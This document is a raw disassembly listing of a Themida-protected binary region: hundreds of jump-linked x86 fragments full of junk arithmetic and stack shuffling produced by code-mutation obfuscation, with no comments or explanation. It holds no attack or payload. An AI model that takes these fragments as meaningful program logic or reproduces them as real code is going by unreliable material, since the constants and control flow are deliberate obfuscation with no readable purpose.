; ---------------------------------------------------------------------------
loc_598F4C: ; CODE XREF: Themida_:00592CFEj
mov esi, 0D656D08h
push edx
mov edx, 5251168h
or esi, edx
jmp loc_59EF50
; ---------------------------------------------------------------------------
loc_598F5E: ; CODE XREF: Themida_:0058F922j
mov edi, [esp]
add esp, 4
push eax
jmp loc_59E4AB
; ---------------------------------------------------------------------------
loc_598F6D: ; CODE XREF: Themida_:005A0872j
xor eax, [esp]
pop esp
push edx
push ecx
mov ecx, esp
add ecx, 4
jmp loc_594176
; ---------------------------------------------------------------------------
loc_598F80: ; CODE XREF: Themida_:0059D809j
mov ah, ch
mov ecx, [esp]
add esp, 4
pop edx
jmp loc_58ED19
; ---------------------------------------------------------------------------
loc_598F91: ; CODE XREF: Themida_:005A0673j
sub eax, 30052AD3h
jmp loc_598CCF
; ---------------------------------------------------------------------------
loc_598F9B: ; CODE XREF: Themida_:005915B4j
sub esp, 4
mov [esp], ebx
mov bl, 0A4h
xor bl, 0C4h
and bl, 23h
dec bl
jmp loc_59A61C
; ---------------------------------------------------------------------------
loc_598FB0: ; CODE XREF: Themida_:00598C73j
add edx, 63F641BEh
shl edx, 8
dec edx
or edx, 71157E51h
sub edx, 8D107014h
add edi, edx
pop edx
jmp loc_59DD3D
; ---------------------------------------------------------------------------
loc_598FCE: ; CODE XREF: Themida_:0059E7E3j
add cl, 30h
add bl, 0B1h
sub bl, cl
push edx
jmp loc_58F222
; ---------------------------------------------------------------------------
loc_598FDC: ; CODE XREF: Themida_:00595435j
add esi, edi
pop edi
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
push 25D1h
jmp loc_59D4D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_598FF6: ; CODE XREF: sub_590877+12A82j
sub cl, 6
pop bx
jmp loc_594874
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_599000: ; CODE XREF: Themida_:00597D20j
push 522Dh
mov [esp], ebx
push ecx
mov ecx, 38D16270h
jmp loc_59F744
; ---------------------------------------------------------------------------
loc_599013: ; CODE XREF: Themida_:00594DDAj
pop eax
add esp, 4
push 0B90h
mov [esp], edx
jmp loc_59C80F
; ---------------------------------------------------------------------------
loc_599024: ; CODE XREF: Themida_:005A1C01j
push ebp
sub esp, 4
mov [esp], edx
jmp loc_591F48
; ---------------------------------------------------------------------------
loc_599030: ; CODE XREF: Themida_:0059618Aj
dec ecx
push ebp
push edi
push 5A35129Dh
jmp loc_58FEC9
; ---------------------------------------------------------------------------
loc_59903D: ; CODE XREF: Themida_:00590816j
mov al, 6Ah
jmp loc_59AEFE
; ---------------------------------------------------------------------------
loc_599044: ; CODE XREF: Themida_:0059FFE3j
pop edx
push ebx
mov ebx, 4
jmp loc_59ADA0
; ---------------------------------------------------------------------------
loc_599050: ; CODE XREF: Themida_:00591C8Fj
push ecx
push eax
jmp loc_58EE52
; ---------------------------------------------------------------------------
loc_599057: ; CODE XREF: Themida_:00593DEEj
add esp, 4
jmp loc_58EAF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_599062: ; CODE XREF: sub_59DA2F+19j
mov ebp, 5C360267h
jmp loc_596197
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59906C: ; CODE XREF: Themida_:00594D68j
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_59BE0A
; ---------------------------------------------------------------------------
loc_59907F: ; CODE XREF: Themida_:005991E3j
push eax
mov eax, 29060E3h
add esi, eax
pop eax
xor esi, 2989827Bh
sub ecx, esi
pop esi
add ebx, 420B463Ch
add ebx, ecx
sub ebx, 420B463Ch
push dword ptr [esp]
jmp loc_59D40F
; ---------------------------------------------------------------------------
loc_5990A7: ; CODE XREF: Themida_:005A21B7j
add ecx, 0F3CB0B56h
jmp loc_592B07
; ---------------------------------------------------------------------------
loc_5990B2: ; CODE XREF: Themida_:00593E2Dj
push ebx
mov ebx, esp
push esi
mov esi, 4
jmp loc_59A235
; ---------------------------------------------------------------------------
loc_5990C0: ; CODE XREF: Themida_:00594C46j
mov [esp], eax
mov eax, 4
and ecx, eax
push dword ptr [esp]
pop eax
push eax
jmp loc_59F46A
; ---------------------------------------------------------------------------
loc_5990D4: ; CODE XREF: Themida_:0058FB26j
xor ecx, eax
add ecx, 0FFFFFFFFh
push 7609h
mov [esp], eax
push esi
jmp loc_59427B
; ---------------------------------------------------------------------------
loc_5990E7: ; CODE XREF: Themida_:0059F581j
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_5A2CC3
; ---------------------------------------------------------------------------
loc_599100: ; CODE XREF: Themida_:005A1459j
pop ebp
jmp loc_58EF1A
; ---------------------------------------------------------------------------
loc_599106: ; CODE XREF: Themida_:00595D34j
push 0
sub [esp], edx
pop edx
shr edx, 2
add edx, 109663A0h
mov ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
push ebp
mov ebp, 38B3726h
sub ebp, 0DCD6D6D3h
add ebx, ebp
jmp loc_5974E6
; ---------------------------------------------------------------------------
loc_599137: ; CODE XREF: Themida_:005A269Fj
mov ax, 241h
and dx, ax
pop ax
push ebp
mov bp, 3F96h
push si
jmp loc_59052F
; ---------------------------------------------------------------------------
loc_59914C: ; CODE XREF: Themida_:0059AC20j
push 332Eh
mov [esp], ecx
mov cl, 0EDh
jmp loc_595D51
; ---------------------------------------------------------------------------
loc_59915B: ; CODE XREF: Themida_:00592FF0j
xor ebx, 1EF010FFh
sub ebx, 6FD63443h
inc ebx
add ebx, 2B02DCB8h
xor edi, ebx
pop ebx
jmp loc_592571
; ---------------------------------------------------------------------------
loc_599176: ; CODE XREF: Themida_:005A2F34j
push 70BCh
mov [esp], edi
mov edi, 33A82D21h
sub edi, 477A23E2h
xor edi, 0FAE449Bh
shr edi, 5
or edi, 671458AFh
xor edi, 671C5AEBh
push edi
mov edi, 1F5E2594h
shl edi, 3
jmp loc_5901C9
; ---------------------------------------------------------------------------
loc_5991AC: ; CODE XREF: Themida_:005A1443j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59E5CF
; ---------------------------------------------------------------------------
loc_5991B7: ; CODE XREF: Themida_:00594BECj
mov esi, [esp]
add esp, 4
or eax, eax
jz loc_597D1E
push dword ptr [edi+28h]
push dword ptr [esp]
pop eax
jmp loc_5A1C21
; ---------------------------------------------------------------------------
loc_5991D1: ; CODE XREF: Themida_:005909DFj
push ecx
mov ecx, 6A7A0C89h
xor ecx, 0B9E0325h
push esi
mov esi, 38DC2F65h
jmp loc_59907F
; ---------------------------------------------------------------------------
loc_5991E8: ; CODE XREF: Themida_:005994F2j
sub edi, 45C82FE7h
jmp loc_5912DD
; ---------------------------------------------------------------------------
loc_5991F3: ; CODE XREF: Themida_:0059BCBEj
sub eax, 30E32310h
pop ecx
sub eax, 4
jmp loc_59956F
; ---------------------------------------------------------------------------
loc_599203: ; CODE XREF: Themida_:0058E8F0j
mov ebx, 22D1D1Dh
xor ebx, 34FEE1E1h
xor edi, ebx
pop ebx
mov eax, edi
pop edi
push eax
jmp loc_599299
; ---------------------------------------------------------------------------
loc_59921A: ; CODE XREF: Themida_:005A32AFj
push eax
jmp loc_5A11B0
; ---------------------------------------------------------------------------
loc_599220: ; CODE XREF: Themida_:0059738Dj
add esi, 4
jmp loc_5A0A81
; ---------------------------------------------------------------------------
loc_59922B: ; CODE XREF: Themida_:00590BFEj
add esp, 4
push esi
jmp loc_594072
; ---------------------------------------------------------------------------
loc_599237: ; CODE XREF: Themida_:0058F704j
and esi, 74AA18C0h
add esi, 4DEB424Bh
shl esi, 2
shl esi, 8
add esi, 49173A24h
sub eax, 464911EBh
add eax, esi
add eax, 464911EBh
jmp loc_58FC2D
; ---------------------------------------------------------------------------
loc_599260: ; CODE XREF: Themida_:0059A495j
add ecx, 64D50F23h
pop edi
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
push 3046h
mov [esp], eax
jmp loc_59E7FF
; ---------------------------------------------------------------------------
loc_599284: ; CODE XREF: Themida_:00595949j
push dword ptr [esp]
pop ecx
add esp, 4
xor ebp, 246A7EDAh
jmp loc_5A2505
; ---------------------------------------------------------------------------
loc_599299: ; CODE XREF: Themida_:00599215j
not dword ptr [esp]
pop eax
xchg eax, edx
not edx
xchg eax, edx
jmp loc_59E5DE
; ---------------------------------------------------------------------------
loc_5992A6: ; CODE XREF: Themida_:0059397Cj
pop ebx
push edx
mov edx, 29261CC4h
add edx, 51804BFDh
and esi, edx
pop edx
jmp loc_5A30A2
; ---------------------------------------------------------------------------
loc_5992BB: ; CODE XREF: Themida_:00597E5Dj
shr ebp, 6
shl ebp, 8
not ebp
jmp loc_599EA8
; ---------------------------------------------------------------------------
loc_5992C8: ; CODE XREF: Themida_:005A2205j
mov edi, 63A1CDAh
jmp loc_5A30AF
; ---------------------------------------------------------------------------
loc_5992D2: ; CODE XREF: Themida_:0059B0E7j
mov esp, [esp]
mov ax, [esp]
push 7BB4h
mov [esp], edi
jmp loc_590874
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5992E6: ; CODE XREF: sub_590877+11DA2j
mov [esp-6+arg_0+2], esp
add [esp-6+arg_0+2], 4
pop ecx
jmp sub_59DA2F
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_5992F6: ; CODE XREF: Themida_:0059EED0j
mov edi, esp
add edi, 4
sub edi, 4
push 147Dh
mov [esp], edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_59E35A
; ---------------------------------------------------------------------------
loc_599325: ; CODE XREF: Themida_:005A1B2Fj
not edi
shr edi, 4
xor edi, ebx
xor ebx, edi
jmp loc_5918FE
; ---------------------------------------------------------------------------
loc_599333: ; CODE XREF: Themida_:0059592Bj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_599338: ; CODE XREF: Themida_:00593BFDj
pop esp
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 2EDEh
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edx
jmp loc_58E55C
; ---------------------------------------------------------------------------
loc_59935F: ; CODE XREF: Themida_:00597E26j
pop esp
mov [esp], edx
push ecx
mov cl, 0FEh
mov dl, cl
pop ecx
xor dl, 8Fh
sub dl, 5Ch
sub dl, 0FAh
jmp loc_596CFF
; ---------------------------------------------------------------------------
loc_599377: ; CODE XREF: Themida_:0059851Bj
sub edi, 51AB00EAh
mov eax, [esp]
push esi
jmp loc_5915A0
; ---------------------------------------------------------------------------
loc_599386: ; CODE XREF: Themida_:00593890j
shl dh, 6
push 3DF6h
mov [esp], eax
jmp loc_5A12F6
; ---------------------------------------------------------------------------
loc_599396: ; CODE XREF: Themida_:0059650Dj
add eax, edi
jmp loc_596FA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_59939D: ; CODE XREF: sub_59233E+A916j
mov edx, [esp-4+arg_0]
add esp, 4
add ebx, 51CA0A01h
sub esp, 4
mov [esp-4+arg_0], edx
jmp loc_591737
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_5993B7: ; CODE XREF: Themida_:00599893j
pop edi
pop eax
push 704Fh
mov [esp], ebp
jmp loc_58F3D1
; ---------------------------------------------------------------------------
loc_5993C6: ; CODE XREF: Themida_:0059EC78j
sub esi, 53C001DDh
push edx
mov edx, 0FD55C1Ch
push esi
mov esi, 650276A8h
sub esi, 3E0CFCBFh
add edx, 0F1E09D8h
jmp loc_595756
; ---------------------------------------------------------------------------
loc_5993E9: ; CODE XREF: Themida_:0059FF56j
shr edx, 7
or edx, 4C216337h
shl edx, 4
shr edx, 8
neg edx
jmp loc_5941F6
; ---------------------------------------------------------------------------
loc_5993FF: ; CODE XREF: Themida_:005A092Aj
mov eax, 4
add [esp+4], eax
pop eax
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], ebp
jmp loc_58EFF3
; ---------------------------------------------------------------------------
loc_599426: ; CODE XREF: Themida_:00593ED2j
push eax
push ebx
mov ebx, 14277C30h
or ebx, 10AE21B9h
dec ebx
add ebx, 0EB508247h
mov eax, ebx
push dword ptr [esp]
jmp loc_5988F4
; ---------------------------------------------------------------------------
loc_599444: ; CODE XREF: Themida_:0058F459j
push 3313h
mov [esp], esi
jmp loc_590E74
; ---------------------------------------------------------------------------
loc_599451: ; CODE XREF: Themida_:00598F28j
pop dword ptr [esp]
pop esp
jmp loc_59E814
; ---------------------------------------------------------------------------
loc_59945A: ; CODE XREF: Themida_:00593419j
pop edx
push ecx
push ebp
mov ebp, 7D3B1A3Ah
jmp loc_5A21C5
; ---------------------------------------------------------------------------
loc_599467: ; CODE XREF: Themida_:005908DEj
push ebx
mov ebx, 0D0C5C96h
add ecx, 5AB36698h
sub ecx, ebx
sub ecx, 5AB36698h
pop ebx
jmp loc_590B78
; ---------------------------------------------------------------------------
loc_599481: ; CODE XREF: Themida_:00599FDDj
pop eax
jmp loc_5A0516
; ---------------------------------------------------------------------------
loc_599487: ; CODE XREF: Themida_:0059BE05j
mov [esp], edx
push esp
mov edx, [esp]
jmp loc_598528
; ---------------------------------------------------------------------------
loc_599493: ; CODE XREF: Themida_:005A2A52j
dec ebp
jmp loc_59D726
; ---------------------------------------------------------------------------
loc_599499: ; CODE XREF: Themida_:00591BA6j
pop ebp
xor esi, 1BB171F8h
sub esi, 0CAC9F835h
add ecx, esi
pop esi
jmp loc_5A1B3F
; ---------------------------------------------------------------------------
loc_5994AE: ; CODE XREF: Themida_:005A0023j
xchg bl, cl
not bl
xchg bl, cl
shl cl, 6
dec cl
jmp loc_596D76
; ---------------------------------------------------------------------------
loc_5994BE: ; CODE XREF: Themida_:0059C9A4j
mov dl, bh
pop ebx
push 478Eh
mov [esp], ebx
sub esp, 4
mov [esp], ecx
jmp loc_5997E7
; ---------------------------------------------------------------------------
loc_5994D7: ; CODE XREF: Themida_:00599DD4j
sub ebp, eax
pop eax
jmp loc_5A1473
; ---------------------------------------------------------------------------
loc_5994DF: ; CODE XREF: Themida_:005917D5j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push esi
mov esi, esp
jmp loc_5A128A
; ---------------------------------------------------------------------------
loc_5994F0: ; CODE XREF: Themida_:0058FF22j
add edi, ecx
jmp loc_5991E8
; ---------------------------------------------------------------------------
loc_5994F7: ; CODE XREF: Themida_:005944D5j
sub eax, 56254B41h
pop edi
push eax
add dword ptr [esp], 6AD6357h
pop edx
sub edx, 6AD6357h
mov eax, [esp]
add esp, 4
or [edi+1Ch], edx
mov edx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_5A0C83
; ---------------------------------------------------------------------------
loc_59952B: ; CODE XREF: Themida_:00594461j
xor esi, 29556077h
mov ecx, [esp]
add esp, 4
not esi
push edi
jmp loc_59D759
; ---------------------------------------------------------------------------
loc_59953F: ; CODE XREF: Themida_:0059E153j
push esp
jmp loc_59E90F
; ---------------------------------------------------------------------------
loc_599545: ; CODE XREF: Themida_:00591D9Aj
xchg ebp, [esp]
pop esp
sub al, 0D5h
jmp loc_5923E2
; ---------------------------------------------------------------------------
loc_599550: ; CODE XREF: Themida_:005A2468j
mov edx, 27ABFFE2h
jmp loc_59C992
; ---------------------------------------------------------------------------
lodsb
push 5E77h
mov [esp], edx
mov dh, 0B4h
neg dh
sub esp, 4
jmp loc_59A4EF
; ---------------------------------------------------------------------------
loc_59956F: ; CODE XREF: Themida_:005991FEj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_58FBA3
; ---------------------------------------------------------------------------
loc_599583: ; CODE XREF: Themida_:00598B8Dj
mov ebx, esp
add ebx, 4
jmp loc_593A02
; ---------------------------------------------------------------------------
loc_599590: ; CODE XREF: Themida_:0059F118j
mov [esp], edx
mov edx, 4B9939EBh
push ebp
mov ebp, 15A26C7Fh
or ebp, 7B364B40h
jmp loc_59BAFE
; ---------------------------------------------------------------------------
loc_5995A9: ; CODE XREF: Themida_:00594EE6j
sub esi, 29802D80h
add esi, eax
jmp loc_5A2149
; ---------------------------------------------------------------------------
loc_5995B6: ; CODE XREF: Themida_:0059ACCBj
xchg edx, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5995C3: ; CODE XREF: Themida_:00591C1Aj
push ebx
jmp loc_591D23
; ---------------------------------------------------------------------------
loc_5995C9: ; CODE XREF: Themida_:0059E870j
movsx ecx, al
push ecx
mov ecx, esp
push edi
push ebp
jmp loc_592714
; ---------------------------------------------------------------------------
loc_5995D6: ; CODE XREF: Themida_:00594C2Ej
pop edx
push eax
mov eax, 44580A44h
jmp loc_590AA8
; ---------------------------------------------------------------------------
loc_5995E2: ; CODE XREF: Themida_:0059EDC8j
xor ebp, esi
jmp loc_5A23DB
; ---------------------------------------------------------------------------
loc_5995E9: ; CODE XREF: Themida_:0059BD15j
push esi
push ebp
mov ebp, 89812CBh
neg ebp
jmp loc_593A33
; ---------------------------------------------------------------------------
loc_5995F7: ; CODE XREF: Themida_:0058E85Dj
add al, 42h
sub al, 8Fh
jmp loc_59158B
; ---------------------------------------------------------------------------
loc_599600: ; CODE XREF: Themida_:005A0416j
and edi, 0EF659F6h
xor edi, 5DC08EDFh
jmp loc_59F8B9
; ---------------------------------------------------------------------------
loc_599611: ; CODE XREF: Themida_:005A0A12j
sub ecx, eax
jmp loc_59C458
; ---------------------------------------------------------------------------
loc_599618: ; CODE XREF: Themida_:00597E7Bj
mov esi, 53AE73C5h
add edx, esi
pop esi
xor edx, 0ADF3D5F0h
push 66F3h
mov [esp], edx
push ebx
mov ebx, 76FE5D2Ch
jmp loc_594782
; ---------------------------------------------------------------------------
loc_599639: ; CODE XREF: Themida_:0058E511j
add eax, ebx
jmp loc_597E2B
; ---------------------------------------------------------------------------
loc_599640: ; CODE XREF: Themida_:00590A35j
pop esi
mov edx, [esp]
jmp loc_5A01CB
; ---------------------------------------------------------------------------
loc_599649: ; CODE XREF: Themida_:00591C72j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59964E: ; CODE XREF: Themida_:005965C4j
add eax, 27BE3FD6h
push eax
add dword ptr [esp], 0BFD6E74h
pop ebx
push 196Ch
mov [esp], ebp
mov ebp, 0BFD6E74h
sub ebx, ebp
pop ebp
pop eax
not ebx
inc ebx
jmp loc_59D821
; ---------------------------------------------------------------------------
loc_599675: ; CODE XREF: Themida_:0059B43Fj
mov edx, [esp]
jmp loc_59F88A
; ---------------------------------------------------------------------------
loc_59967D: ; CODE XREF: Themida_:005A18AAj
sub ecx, 0E91B612Bh
mov edx, ecx
pop ecx
sub [esp+4], edx
jmp loc_59F77B
; ---------------------------------------------------------------------------
loc_59968F: ; CODE XREF: Themida_:00597253j
shl edx, 7
dec edx
xor edx, 0A5B65F3Eh
jmp loc_590FC4
; ---------------------------------------------------------------------------
loc_59969E: ; CODE XREF: Themida_:0059A443j
push eax
mov eax, esp
jmp loc_595F6D
; ---------------------------------------------------------------------------
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5996AB: ; CODE XREF: Themida_:005A2C95j
add bl, 0C6h
push ecx
mov ch, 0Dh
jmp loc_5958A4
; ---------------------------------------------------------------------------
loc_5996B6: ; CODE XREF: Themida_:00596F22j
add ebx, esi
pop esi
add ebx, edx
sub ebx, 455704E6h
jmp loc_58ED98
; ---------------------------------------------------------------------------
loc_5996C6: ; CODE XREF: Themida_:005A06C1j
sub esp, 4
mov [esp], ecx
push ebx
jmp loc_59361A
; ---------------------------------------------------------------------------
loc_5996D5: ; CODE XREF: Themida_:0059A1DFj
mov [esp], edi
push ebp
xor dword ptr [esp], 73D84868h
pop edi
xor edi, 73D84868h
mov eax, edi
pop edi
pop ebp
add ecx, eax
push dword ptr [esp]
jmp loc_59FC30
; ---------------------------------------------------------------------------
loc_5996F5: ; CODE XREF: Themida_:00597FA4j
mov [esp], ecx
mov ecx, 20A215CFh
jmp loc_59EF80
; ---------------------------------------------------------------------------
loc_599702: ; CODE XREF: Themida_:00597964j
xor dl, cl
push 7D78h
mov [esp], ebx
jmp loc_596F41
; ---------------------------------------------------------------------------
loc_599711: ; CODE XREF: Themida_:0059C702j
mov edx, esi
jmp loc_591119
; ---------------------------------------------------------------------------
loc_599718: ; CODE XREF: Themida_:0059AC14j
mov [esp], edi
push 3458h
jmp near ptr word_5938EE
; ---------------------------------------------------------------------------
loc_599725: ; CODE XREF: Themida_:00599789j
inc edx
jmp loc_59E9DC
; ---------------------------------------------------------------------------
loc_59972B: ; CODE XREF: Themida_:005938C0j
push ebx
push ecx
mov ecx, 0C7B5656h
mov ebx, 6D8AC48Bh
jmp loc_598A34
; ---------------------------------------------------------------------------
loc_59973C: ; CODE XREF: Themida_:0059FC56j
shr ebx, 6
add ebx, 33A5FC6Ch
sub [esp+0Ch], ebx
jmp loc_59D623
; ---------------------------------------------------------------------------
loc_59974E: ; CODE XREF: Themida_:0059DAD7j
xor al, bl
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
mov cl, 8Bh
push ecx
mov cl, 0C1h
shr cl, 1
or cl, 0AEh
not cl
push ebx
mov bh, 0DFh
jmp loc_59FBAD
; ---------------------------------------------------------------------------
loc_59976F: ; CODE XREF: Themida_:00592F01j
mov esi, 4BFD1B17h
or esi, 15303655h
push edx
mov edx, 13466EE3h
shr edx, 5
and edx, 727455B8h
jmp loc_599725
; ---------------------------------------------------------------------------
loc_59978E: ; CODE XREF: Themida_:005A2EE2j
add eax, edx
push ebx
mov ebx, 688123F3h
add ebx, 0BBA819C0h
jmp loc_59D70B
; ---------------------------------------------------------------------------
loc_5997A1: ; CODE XREF: Themida_:0059387Aj
sub eax, ebp
add eax, 597C635Eh
push dword ptr [esp]
pop ebp
add esp, 4
push edi
push ecx
push 65253945h
pop ecx
xor ecx, 51362169h
jmp loc_5A24E8
; ---------------------------------------------------------------------------
loc_5997C5: ; CODE XREF: Themida_:0059556Ej
mov ah, bh
mov bh, cl
pop ecx
dec ah
sub esp, 2
mov [esp], cx
push edx
jmp loc_596D0C
; ---------------------------------------------------------------------------
loc_5997D9: ; CODE XREF: Themida_:0059D477j
push ebp
mov ebp, 2C1C792Ah
dec ebp
not ebp
jmp loc_58E72D
; ---------------------------------------------------------------------------
loc_5997E7: ; CODE XREF: Themida_:005994D2j
push ebx
mov bl, dl
jmp loc_5954B1
; ---------------------------------------------------------------------------
loc_5997EF: ; CODE XREF: Themida_:005A2C2Aj
add esp, 4
push ecx
push 7E58h
mov [esp], edx
push eax
mov eax, 34877BEDh
push ecx
mov ecx, 40DA08B7h
jmp loc_598197
; ---------------------------------------------------------------------------
loc_59980C: ; CODE XREF: Themida_:0058FB7Aj
mov [esp], ecx
mov ecx, 4
push ebp
mov ebp, 5B831009h
sub edx, ebp
pop ebp
add edx, ecx
add edx, 5B831009h
pop ecx
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push esi
jmp loc_593835
; ---------------------------------------------------------------------------
loc_599838: ; CODE XREF: Themida_:0059F512j
sub edi, 56AD0BC5h
sub edi, 0AD910F9h
pop eax
sub edi, 24213526h
xor edi, 6E0C03A3h
jmp loc_59CE7F
; ---------------------------------------------------------------------------
loc_599856: ; CODE XREF: Themida_:005A10B2j
mov esi, [esp]
jmp loc_599948
; ---------------------------------------------------------------------------
loc_59985E: ; CODE XREF: Themida_:005949DCj
push edi
mov edi, 4
sub eax, edi
pop edi
xchg eax, [esp]
pop esp
jmp loc_59FF88
; ---------------------------------------------------------------------------
loc_599870: ; CODE XREF: Themida_:005979E7j
mov edx, 24h
push edi
jmp loc_59FF5B
; ---------------------------------------------------------------------------
loc_59987B: ; CODE XREF: Themida_:0058E3BBj
push 40000FA4h
jmp loc_59D3C0
; ---------------------------------------------------------------------------
loc_599885: ; CODE XREF: Themida_:005A10A1j
sub ecx, 52094D70h
push edi
mov edi, 2A72061Eh
add ecx, edi
jmp loc_5993B7
; ---------------------------------------------------------------------------
loc_599898: ; CODE XREF: Themida_:0059D3E9j
push edx
mov dh, 0Fh
xor dh, 8Bh
sub al, dh
pop edx
push dword ptr [esp]
pop edx
add esp, 4
add al, 0F4h
sub al, bl
sub al, 0F4h
sub al, 52h
push small 467Fh
mov [esp], bx
jmp loc_59FC6C
; ---------------------------------------------------------------------------
loc_5998C0: ; CODE XREF: Themida_:00590B6Bj
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_59451C
; ---------------------------------------------------------------------------
loc_5998D6: ; CODE XREF: Themida_:0058F750j
pop dword ptr [esp]
sub esp, 4
jmp loc_59B351
; ---------------------------------------------------------------------------
loc_5998E4: ; CODE XREF: Themida_:0058E927j
add ecx, edx
jmp loc_597FD7
; ---------------------------------------------------------------------------
loc_5998EB: ; CODE XREF: Themida_:0059A8CCj
push ebx
push esp
pop ebx
jmp loc_598685
; ---------------------------------------------------------------------------
loc_5998F3: ; CODE XREF: Themida_:005A0B65j
pop edi
add ebx, edi
sub ebx, 19644502h
pop edi
push 13FDh
mov [esp], ebp
mov ebp, 24C868E3h
jmp loc_59F920
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59990F: ; CODE XREF: sub_591554+4A5Aj
add esp, 4
jmp loc_5953B8
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_599917: ; CODE XREF: Themida_:005983A5j
pop dword ptr [esp]
mov esp, [esp]
imul cx, ax
jmp loc_5A0D96
; ---------------------------------------------------------------------------
loc_599926: ; CODE XREF: Themida_:0059306Aj
mov ebx, 5BB3B926h
sub ebx, esi
pop esi
jmp loc_59FFF6
; ---------------------------------------------------------------------------
loc_599933: ; CODE XREF: Themida_:005924D4j
push edi
jmp loc_599EF6
; ---------------------------------------------------------------------------
loc_599939: ; CODE XREF: Themida_:0059D15Ej
mov eax, [esp]
add esp, 4
push edx
jmp loc_5A121E
; ---------------------------------------------------------------------------
loc_599948: ; CODE XREF: Themida_:00599859j
push ebx
mov ebx, esp
jmp loc_591A19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_599950: ; CODE XREF: sub_59F235+1FBFj
add ebp, eax
jmp loc_59BC8B
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_599957: ; CODE XREF: Themida_:005963E6j
sub edi, 78C6B2FEh
sub esp, 4
mov [esp], esi
mov esi, edi
jmp loc_593AE9
; ---------------------------------------------------------------------------
loc_59996A: ; CODE XREF: Themida_:0059FC20j
mov cx, [esp]
add esp, 2
add cl, 4Eh
add al, cl
mov ecx, [esp]
jmp loc_5A050E
; ---------------------------------------------------------------------------
loc_599981: ; CODE XREF: Themida_:0059E164j
mov eax, esp
push ebx
mov ebx, 341D1B36h
push esi
mov esi, 5C970262h
and ebx, esi
jmp loc_58E465
; ---------------------------------------------------------------------------
loc_599996: ; CODE XREF: Themida_:0059D8F5j
mov bh, 7Dh
sub bh, 0CBh
not bh
sub bh, 2
and bh, 49h
shr bh, 1
jmp loc_597B8D
; ---------------------------------------------------------------------------
loc_5999AA: ; CODE XREF: Themida_:0059A121j
pop ebx
shl dh, 3
or dh, 0F6h
push eax
mov ah, 0F9h
add ah, 0FFh
and ah, 0ACh
push ebx
mov bl, 0B7h
add bl, 0E4h
xor ah, bl
pop ebx
push eax
jmp loc_590F71
; ---------------------------------------------------------------------------
loc_5999C9: ; CODE XREF: Themida_:0058E6E4j
sub eax, edi
jmp loc_5A0DAC
; ---------------------------------------------------------------------------
loc_5999D0: ; CODE XREF: Themida_:0059A7E2j
mov ebx, 58E5117Dh
jmp loc_591507
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_5999DA: ; CODE XREF: sub_5A1999-12BD1j
push 43DE0109h
jmp loc_595283
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_5999E4: ; CODE XREF: Themida_:0058F981j
add edx, 4
jmp loc_59BE8D
; ---------------------------------------------------------------------------
loc_5999EF: ; CODE XREF: Themida_:0059EBDFj
add ebp, ecx
add ebp, 41C04956h
push edx
jmp loc_5926CE
; ---------------------------------------------------------------------------
loc_5999FD: ; CODE XREF: Themida_:00591242j
mov esi, 7879A9E7h
mov ecx, esi
jmp loc_5A1993
; ---------------------------------------------------------------------------
loc_599A09: ; CODE XREF: Themida_:0059F867j
mov edx, 81C7C5Ah
xor edx, 1C8E1401h
sub edx, 2FA916A5h
sub edx, 6BB263Bh
dec edx
xor edx, 0D94E296Eh
xor ebx, edx
pop edx
add ebp, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
push edi
mov edi, 3A886E2Eh
jmp loc_59C1EA
; ---------------------------------------------------------------------------
loc_599A4D: ; CODE XREF: Themida_:005986CAj
mov [esp], edx
push ebx
mov bh, 0BBh
jmp loc_59B5F7
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_599A60: ; CODE XREF: Themida_:00592460j
add esi, 1775525Eh
shr esi, 7
xor esi, 49853C6h
xor esi, 1D6B62D2h
push 4FE7h
mov [esp], ecx
mov ecx, 18DADE80h
sub esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add eax, esi
pop esi
sub esp, 4
mov [esp], ebx
push ebp
